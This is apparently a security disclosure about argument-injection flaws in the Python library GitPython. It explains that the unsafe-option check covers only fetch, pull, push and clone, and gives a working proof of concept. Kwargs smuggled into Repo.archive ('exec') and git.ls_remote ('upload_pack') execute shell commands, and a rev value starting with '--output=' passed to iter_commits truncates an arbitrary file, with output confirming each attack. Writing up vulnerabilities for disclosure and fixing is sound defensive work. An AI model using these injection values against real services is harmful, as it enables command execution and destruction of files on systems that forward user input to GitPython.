Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in
git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this
check him he is only call from fetch, pull, push and clone_from, everything else who build a git
argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the
treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and
they land before it, so {"remote": ".", "exec": ""} give
git archive --remote=. --exec= -- , the --remote spawn the upload-archive helper and
--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and
archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack=""), same builder, same result, it's exactly the kwarg
gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic
repo.git.(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev
before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become
git rev-list --output=... --, and git he open and truncate that file before he even validate the
revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()

1. exec via archive (a service exports a repo and forwards the user's options dict):

m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))

[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True

2. exec via ls_remote:

m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))

[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True

3. file clobber via a rev that looks like a ref:

v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')

[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated